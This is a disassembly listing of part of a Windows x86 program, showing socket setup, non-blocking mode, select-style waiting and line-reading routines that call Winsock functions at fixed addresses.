		lea	edx, [esp+128h+var_11C]
		mov	[esp+128h+var_11C], 10h
		push	edx
		push	eax
		jmp	short loc_41A8B6
; ---------------------------------------------------------------------------


loc_41A8A4:				; CODE XREF: sub_41A7D0+C2j
		lea	ecx, [esp+128h+var_11C]
		lea	edx, [esp+128h+var_114]
		push	ecx
		mov	[esp+12Ch+var_11C], 10h
		push	edx


loc_41A8B6:				; CODE XREF: sub_41A7D0+D2j
		mov	eax, [esi+806h]
		push	eax
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		mov	[esp+128h+var_120], eax
		jnz	short loc_41A8D9
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A8D9:				; CODE XREF: sub_41A7D0+FAj
		mov	esi, [esp+128h+arg_0]
		lea	ecx, [esp+128h+var_120]
		push	ecx
		mov	ecx, esi
		call	sub_402108
		mov	dl, [esp+128h+arg_8]
		pop	edi
		mov	[esi+80Dh], dl
		mov	al, 1
		pop	esi
		add	esp, 120h
		retn	0Ch
sub_41A7D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A960	proc near		; CODE XREF: sub_402108j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax]


loc_41A966:				; DATA XREF: sdfs____:005971CEo
		mov	[ecx+806h], edx
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		setnz	al
		mov	[ecx+80Bh], al
		retn	4
sub_41A960	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A990	proc near		; CODE XREF: sub_40196Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	0
		push	edx
		push	eax
		call	sub_401B4F
		retn	0Ch
sub_41A990	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A9C0	proc near		; CODE XREF: sub_401B4Fj

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 210h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		cmp	dword ptr [esi+806h], 0FFFFFFFFh
		jz	loc_41AB24
		mov	al, [esi+80Bh]
		test	al, al
		jz	loc_41AB24
		mov	edi, dword_5118AC
		call	edi
		mov	ebp, eax
		mov	al, [esi+80Dh]
		test	al, al
		jnz	loc_41AABC
		mov	ebx, [esp+220h+arg_8]
		test	ebx, ebx
		jz	loc_41AABC
		call	sub_40196A
		test	al, al
		jz	loc_41AABC


loc_41AA1B:				; CODE XREF: sub_41A9C0+F6j
		mov	eax, [esi+806h]
		mov	ecx, 1
		mov	[esp+220h+var_100], eax
		mov	[esp+220h+var_104], ecx
		mov	[esp+220h+var_204], eax
		mov	[esp+220h+var_208], ecx
		mov	[esp+220h+var_210], 0
		mov	[esp+220h+var_20C], 64h
		call	edi
		sub	eax, ebp
		cmp	eax, ebx
		ja	loc_41AB24
		lea	eax, [esp+220h+var_210]
		lea	ecx, [esp+220h+var_208]
		push	eax
		mov	eax, [esi+806h]
		push	ecx
		lea	edx, [esp+228h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jz	short loc_41AAAF
		mov	edx, [esi+806h]
		lea	ecx, [esp+220h+var_208]
		push	ecx
		push	edx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	loc_41AB24
		mov	ecx, [esi+806h]
		lea	eax, [esp+220h+var_104]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41AABC


loc_41AAAF:				; CODE XREF: sub_41A9C0+BCj
		call	sub_40196A
		test	al, al
		jnz	loc_41AA1B


loc_41AABC:				; CODE XREF: sub_41A9C0+39j
					; sub_41A9C0+48j ...
		call	sub_40196A
		test	al, al
		jz	short loc_41AB24
		mov	edx, [esp+220h+arg_4]
		mov	eax, [esp+220h+arg_0]
		mov	ecx, [esi+806h]
		push	0
		push	edx
		push	eax
		push	ecx
		call	near ptr 71AB615Ah
		nop
		mov	ecx, [esp+220h+arg_C]
		test	ecx, ecx
		jz	short loc_41AAF1
		mov	[ecx], eax


loc_41AAF1:				; CODE XREF: sub_41A9C0+12Dj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AB09
		test	eax, eax
		jz	short loc_41AB09
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AB09:				; CODE XREF: sub_41A9C0+134j
					; sub_41A9C0+138j
		nop
		call	near ptr 71AB94DCh
		pop	edi
		cmp	eax, 2733h
		pop	esi
		pop	ebp
		setz	al
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AB24:				; CODE XREF: sub_41A9C0+13j
					; sub_41A9C0+21j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 210h
		retn	10h
sub_41A9C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ABA0:				; CODE XREF: ___:00401622j
		mov	eax, [ecx+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABF1
		mov	dl, [ecx+80Bh]
		test	dl, dl
		jz	short loc_41ABF1
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	0
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0Ch]
		test	ecx, ecx
		jz	short loc_41ABD2
		mov	[ecx], eax


loc_41ABD2:				; CODE XREF: ___:0041ABCEj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABE0
		test	eax, eax
		jz	short loc_41ABE0
		mov	al, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41ABE0:				; CODE XREF: ___:0041ABD5j
					; ___:0041ABD9j
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		setz	al
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41ABF1:				; CODE XREF: ___:0041ABA9j
					; ___:0041ABB3j
		xor	al, al
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AC20:				; CODE XREF: ___:004019BFj
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40196A
		test	al, al
		jnz	short loc_41AC3C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC3C:				; CODE XREF: ___:0041AC32j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AC52


loc_41AC48:				; CODE XREF: ___:0041AC8Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC52:				; CODE XREF: ___:0041AC46j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41ACB6
		mov	edi, ebp


loc_41AC6B:				; CODE XREF: ___:0041ACB4j
		cmp	edi, ebx
		jz	short loc_41ACB6
		cmp	[esp+18h], bl
		jz	short loc_41ACB6
		call	sub_40196A
		test	al, al
		jz	short loc_41ACB6
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_40196F
		test	al, al
		jz	short loc_41AC48
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41ACA1
		cmp	al, 0Dh
		jz	short loc_41ACA1
		cmp	al, bl
		jnz	short loc_41ACA9


loc_41ACA1:				; CODE XREF: ___:0041AC97j
					; ___:0041AC9Bj
		mov	[esi+ebp-1], bl
		mov	[esp+18h], bl


loc_41ACA9:				; CODE XREF: ___:0041AC9Fj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AC6B


loc_41ACB6:				; CODE XREF: ___:0041AC67j
					; ___:0041AC6Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AD00:				; CODE XREF: ___:004021A3j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40196A
		test	al, al
		jnz	short loc_41AD1C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AD1C:				; CODE XREF: ___:0041AD12j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AD32


loc_41AD28:				; CODE XREF: ___:0041AD6Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AD32:				; CODE XREF: ___:0041AD26j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41AD9D
		mov	edi, ebp


loc_41AD4B:				; CODE XREF: ___:0041AD9Bj
		cmp	edi, ebx
		jz	short loc_41AD9D
		cmp	[esp+18h], bl
		jz	short loc_41AD9D
		call	sub_40196A
		test	al, al
		jz	short loc_41AD9D
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_40196F
		test	al, al
		jz	short loc_41AD28
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41AD7D
		cmp	al, bl
		jnz	short loc_41AD90


loc_41AD7D:				; CODE XREF: ___:0041AD77j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41AD8A
		mov	[esi+ebp-1], bl
		jmp	short loc_41AD8C
; ---------------------------------------------------------------------------


loc_41AD8A:				; CODE XREF: ___:0041AD82j
		mov	[edi], bl


loc_41AD8C:				; CODE XREF: ___:0041AD88j
		mov	[esp+18h], bl


loc_41AD90:				; CODE XREF: ___:0041AD7Bj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AD4B


loc_41AD9D:				; CODE XREF: ___:0041AD47j
					; ___:0041AD4Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ADE0:				; CODE XREF: ___:00401082j
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41ADF2
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41ADF2:				; CODE XREF: ___:0041ADEAj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AE03
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE03:				; CODE XREF: ___:0041ADFBj
		mov	ecx, [esp+0Ch]
		mov	edx, [esp+8]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB951Eh
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AE30	proc near		; CODE XREF: sub_4018A2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41AE42
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE42:				; CODE XREF: sub_41AE30+Aj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AE53
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE53:				; CODE XREF: sub_41AE30+1Bj
		mov	ecx, [esp+4+arg_4]
		mov	edx, [esp+4+arg_0]
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AC0B50h
		nop
		pop	esi
		retn	8
sub_41AE30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AE80:				; CODE XREF: ___:00401C53j
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		mov	al, [esi+80Ch]
		cmp	al, cl
		mov	eax, [esi+806h]
		jnz	short loc_41AEBF
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AEB5
		cmp	[esi+80Bh], cl
		jz	short loc_41AEB5
		mov	eax, 1
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEB5:				; CODE XREF: ___:0041AE9Ej
					; ___:0041AEA6j
		xor	eax, eax
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEBF:				; CODE XREF: ___:0041AE99j
		lea	edx, [esp+4]
		mov	[esp+10h], eax
		push	edx
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jnz	short loc_41AEF5
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEF5:				; CODE XREF: ___:0041AEE9j
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AF50:				; CODE XREF: ___:004016EFj
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		cmp	[esi+80Ch], cl
		jnz	short loc_41AF6D
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AF6D:				; CODE XREF: ___:0041AF61j
		mov	eax, [esi+806h]
		lea	edx, [esp+4]
		push	edx
		lea	edx, [esp+10h]
		mov	[esp+14h], eax
		push	edx
		push	ecx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jnz	short loc_41AFA9
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AFA9:				; CODE XREF: ___:0041AF9Dj
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AFF0:				; CODE XREF: ___:00401744j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, ecx
		push	800h
		lea	edx, [esi+6]
		mov	ax, [edi+4]
		lea	ecx, [edi+6]
		push	ecx
		push	edx
		mov	[esi+4], ax
		nop
		call	near ptr 77C47A90h
		xor	al, al
		add	esp, 0Ch
		mov	dword ptr [esi+806h], 0FFFFFFFFh
		mov	[esi+80Ch], al
		mov	[esi+80Bh], al
		mov	al, [edi+80Dh]
		mov	[esi+80Dh], al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B060	proc near		; CODE XREF: sub_4018CAj

arg_0		= dword	ptr  4

		mov	al, byte ptr [esp+arg_0]
		test	al, al
		mov	[ecx+80Ch], al
		jz	short loc_41B090
		mov	ecx, [ecx+806h]
		lea	eax, [esp+arg_0]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+0Ch+arg_0], 1
		nop
		call	near ptr 71AB4519h
		retn	4
; ---------------------------------------------------------------------------


loc_41B090:				; CODE XREF: sub_41B060+Cj
		mov	eax, [ecx+806h]
		lea	edx, [esp+arg_0]
		push	edx
		push	8004667Eh
		push	eax
		mov	[esp+0Ch+arg_0], 0
		nop
		call	near ptr 71AB4519h
		retn	4
sub_41B060	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B0E0	proc near		; CODE XREF: sub_401186j
		push	esi
		mov	esi, ecx
		push	0
		lea	ecx, [esi+4]
		call	sub_401C49
		mov	dword ptr [esi], offset	off_43F0C0
		mov	eax, esi
		pop	esi
		retn
sub_41B0E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B110	proc near		; CODE XREF: ___:00401924j sub_401E92j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40187A
		test	[esp+4+arg_0], 1
		jz	short loc_41B128
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B128:				; CODE XREF: sub_41B110+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B110	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B140	proc near		; CODE XREF: sub_40187Aj
		mov	dword ptr [ecx], offset	off_43F0C0
		add	ecx, 4
		jmp	sub_401FE6
sub_41B140	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B160	proc near		; CODE XREF: sub_401640j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_40196A
		test	al, al
		jnz	short loc_41B172
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B172:				; CODE XREF: sub_41B160+9j
		mov	esi, [esp+8+arg_0]
		push	esi
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B1C5
		push	esi
		nop
		call	near ptr 71AB4FD4h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41B197
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B197:				; CODE XREF: sub_41B160+2Dj
		mov	eax, [edi+0Ch]
		xor	esi, esi
		cmp	dword ptr [eax], 0
		jz	short loc_41B1AC


loc_41B1A1:				; CODE XREF: sub_41B160+4Aj
		mov	ecx, [eax+4]
		add	eax, 4
		inc	esi
		test	ecx, ecx
		jnz	short loc_41B1A1


loc_41B1AC:				; CODE XREF: sub_41B160+3Fj
		call	sub_401F0A
		dec	esi
		push	esi
		push	0
		call	sub_4021C6
; ---------------------------------------------------------------------------
		mov	ecx, [edi+0Ch]
		add	esp, 8
		mov	edx, [ecx+eax*4]
		mov	eax, [edx]


loc_41B1C5:				; CODE XREF: sub_41B160+20j
		pop	edi
		pop	esi
		retn	4
sub_41B160	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B1F0:				; CODE XREF: ___:004020B3j
		push	0FFFFFFFFh
		push	offset loc_43C007
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	[esp+0Ch], ebx
		call	sub_40196A
		test	al, al
		jnz	short loc_41B22F
		mov	eax, [esp+58h]
		mov	esi, [esp+54h]
		push	eax
		mov	ecx, esi
		call	sub_401870
		jmp	loc_41B3DB
; ---------------------------------------------------------------------------


loc_41B22F:				; CODE XREF: ___:0041B218j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+30h]
		call	sub_401870
		mov	edi, 1
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], edi
		call	sub_4017EE
		test	eax, eax
		push	offset byte_448F30
		jnz	short loc_41B26C
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401870
		mov	[esp+0Ch], edi
		jmp	loc_41B3CE
; ---------------------------------------------------------------------------


loc_41B26C:				; CODE XREF: ___:0041B256j
		lea	ecx, [esp+30h]
		call	sub_4012EE
		test	eax, eax
		push	offset byte_448F30
		jnz	short loc_41B292
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401870
		mov	[esp+0Ch], edi
		jmp	loc_41B3CE
; ---------------------------------------------------------------------------


loc_41B292:				; CODE XREF: ___:0041B27Cj
		lea	ecx, [esp+18h]
		call	sub_401870
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		push	ebx
		push	ebx
		push	0Fh
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+60h], 2
		call	sub_4017EE
		push	eax
		call	sub_4382C2
; ---------------------------------------------------------------------------
		cmp	eax, ebx
		jz	short loc_41B2D6
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+0Ch], edi
		jmp	loc_41B3C0
; ---------------------------------------------------------------------------


loc_41B2D6:				; CODE XREF: ___:0041B2BBj
		mov	edi, [esp+10h]
		mov	esi, offset dword_4447F8
		mov	ecx, [edi]
		mov	eax, [ecx+4]


loc_41B2E4:				; CODE XREF: ___:0041B302j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B308
		cmp	cl, bl
		jz	short loc_41B304
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B308
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B2E4


loc_41B304:				; CODE XREF: ___:0041B2EEj
		xor	eax, eax
		jmp	short loc_41B30D
; ---------------------------------------------------------------------------


loc_41B308:				; CODE XREF: ___:0041B2EAj
					; ___:0041B2F8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B30D:				; CODE XREF: ___:0041B306j
		cmp	eax, ebx
		jz	short loc_41B37B
		push	ebp


loc_41B312:				; CODE XREF: ___:0041B365j
					; ___:0041B369j
		nop
		call	near ptr 27E0B37h
		and	eax, 0Fh
		cmp	al, 8
		jnz	short loc_41B326
		cmp	word ptr [edi+8], 0Fh
		jz	short loc_41B36B


loc_41B326:				; CODE XREF: ___:0041B31Dj
		mov	edi, [edi]
		mov	ebp, [esp+14h]
		cmp	edi, ebx
		jnz	short loc_41B332
		mov	edi, ebp


loc_41B332:				; CODE XREF: ___:0041B32Ej
		mov	eax, [edi+4]
		mov	esi, offset dword_4447F8


loc_41B33A:				; CODE XREF: ___:0041B358j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B35E
		cmp	cl, bl
		jz	short loc_41B35A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B35E
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B33A


loc_41B35A:				; CODE XREF: ___:0041B344j
		xor	eax, eax
		jmp	short loc_41B363
; ---------------------------------------------------------------------------


loc_41B35E:				; CODE XREF: ___:0041B340j
					; ___:0041B34Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B363:				; CODE XREF: ___:0041B35Cj
		cmp	eax, ebx
		jnz	short loc_41B312
		mov	edi, ebp
		jmp	short loc_41B312
; ---------------------------------------------------------------------------


loc_41B36B:				; CODE XREF: ___:0041B324j
		mov	eax, [edi+18h]
		lea	ecx, [esp+18h]
		push	eax
		call	sub_4015E1
		pop	ebp
		jmp	short loc_41B388
; ---------------------------------------------------------------------------


loc_41B37B:				; CODE XREF: ___:0041B30Fj
		mov	ecx, [edi+18h]
		push	ecx
		lea	ecx, [esp+18h]
		call	sub_4015E1


loc_41B388:				; CODE XREF: ___:0041B379j
		push	offset byte_448F30
		lea	ecx, [esp+18h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41B3A8
		mov	edx, [esp+58h]
		lea	ecx, [esp+14h]
		push	edx
		call	sub_4015E1


loc_41B3A8:				; CODE XREF: ___:0041B398j
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		mov	dword ptr [esp+0Ch], 1


loc_41B3C0:				; CODE XREF: ___:0041B2D1j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+4Ch], 1
		call	sub_401226


loc_41B3CE:				; CODE XREF: ___:0041B267j
					; ___:0041B28Dj
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], bl
		call	sub_401226


loc_41B3DB:				; CODE XREF: ___:0041B22Aj
		mov	ecx, [esp+44h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	8
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B490:				; CODE XREF: ___:00402153j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C49
		mov	dword ptr [esi], offset	off_43F0C4
		mov	dword ptr [esi+11h], 0
		mov	dword ptr [esi+823h], 0
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B4D0	proc near		; CODE XREF: sub_401406j ___:00402036j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BE0
		test	[esp+4+arg_0], 1
		jz	short loc_41B4E8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B4E8:				; CODE XREF: sub_41B4D0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B4D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B500	proc near		; CODE XREF: sub_401BE0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41B500
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401FE6
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41B500	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B570:				; CODE XREF: ___:00401D52j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C49
		mov	eax, [esp+8]
		mov	ecx, [esp+0Ch]
		mov	[esi+11h], eax
		mov	dword ptr [esi], offset	off_43F0C4
		mov	[esi+823h], ecx
		mov	eax, esi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B5B0	proc near		; CODE XREF: sub_401686j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 14h
		push	edi
		mov	edi, ecx
		mov	eax, [edi+11h]
		test	eax, eax
		jz	loc_41B6C0
		mov	ecx, [edi+823h]
		test	ecx, ecx
		jz	loc_41B6C0
		push	ebx
		push	ebp
		lea	ebx, [edi+15h]
		push	esi
		push	eax
		mov	ecx, ebx
		xor	esi, esi
		call	sub_401492
		mov	ebp, dword_5118D8
		test	al, al
		jnz	short loc_41B613


loc_41B5E9:				; CODE XREF: sub_41B5B0+61j
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B6AF
		mov	al, byte_4E8E44
		test	al, al
		jz	short loc_41B613
		push	7D0h
		call	ebp
		mov	eax, [edi+11h]
		mov	ecx, ebx
		push	eax
		call	sub_401492
		test	al, al
		jz	short loc_41B5E9


loc_41B613:				; CODE XREF: sub_41B5B0+37j
					; sub_41B5B0+4Bj
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B6AF


loc_41B61E:				; CODE XREF: sub_41B5B0+F9j
		mov	al, byte_4E8E44
		test	al, al
		jz	loc_41B6AF
		test	esi, esi
